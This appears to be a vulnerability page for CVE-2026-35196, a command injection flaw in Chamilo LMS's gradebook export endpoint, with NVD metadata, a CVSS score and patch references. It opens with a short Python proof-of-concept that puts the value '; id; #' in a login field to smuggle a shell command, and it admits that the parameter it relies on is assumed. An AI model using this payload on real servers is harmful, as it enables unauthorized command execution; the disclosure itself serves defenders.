CVE-2026-35196

import requests # Target URL url = "http://target.com/main/inc/ajax/gradebook.ajax.php" # The vulnerability relies on poisoning the session variable $_SESSION['_cid']. # This is a conceptual PoC assuming the attacker can control the session. # 1. Authenticate and set malicious session data (simulated) session = requests.Session() login_payload = { "login": "attacker", "password": "password", # Assume a parameter that sets _cid in session exists or is derived "course": "; id; #" } session.post("http://target.com/login.php", data=login_payload) # 2. Trigger the vulnerable endpoint params = { "action": "export_all_certificates" } response = session.get(url, params=params) if response.status_code == 200: print("[+] Request sent, check if command executed.") else: print("[-] Failed to trigger")

{"cve": {"id": "CVE-2026-35196", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:31.993", "lastModified": "2026-04-22T18:37:44.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chamilo LMS is an open-source learning management system. In versions prior to 2.0.0-RC.3, an OS Command Injection vulnerability exists in the main/inc/ajax/gradebook.ajax.php endpoint within the export_all_certificates action, where the course code retrieved from the session variable $_SESSION['_cid'] via api_get_course_id() is concatenated directly into a shell_exec() command string without sanitization or escaping using escapeshellarg(). If an attacker can manipulate or poison their session data to inject shell metacharacters into the _cid variable, they can achieve arbitrary command execution on the underlying server. Successful exploitation grants full access to read system files and credentials, alters the application and database, or disrupts server availability. This issue has been fixed in version 2.0.0-RC.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.11.38", "matchCriteriaId": "34085140-9203-4B20-9036-743718F1A4F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "4AF7661F-C1F7-4CAB-BBDF-FC5BF7F5BEB8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "FE56AF71-9D53-42C6-980D-09E1C418ED87"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:*", "matchCriteriaId": "01195674-9E1A-4C07-B7D3-0F0CC2E6511B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:*", "matchCriteriaId": "BAE63449-5A56-4302-A4BF-F3D19FC96A80"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha5:*:*:*:*:*:*", "matchCriteriaId": "A84A06F9-5AB7-4703-8153-33AC68882B95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "B91302A3-53DE-4ED0-BAAB-FE9DA03F8242"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "46008D4A-96F7-4E04-8256-E115AAAE3383"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "6E2BCAFF-D44B-4E67-998A-DF855E27606B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "D2E7D018-E4C2-45F5-8D9A-DAC947173607"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "DAF96697-6B6D-459D-9510-E5CEEDC2859B"}]}]}], "references": [{"url": "https://github.com/chamilo/chamilo-lms/commit/62671e5e268f235cddfba704edee90f35c234df1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.0-RC.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-crc6-r6c7-44q3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}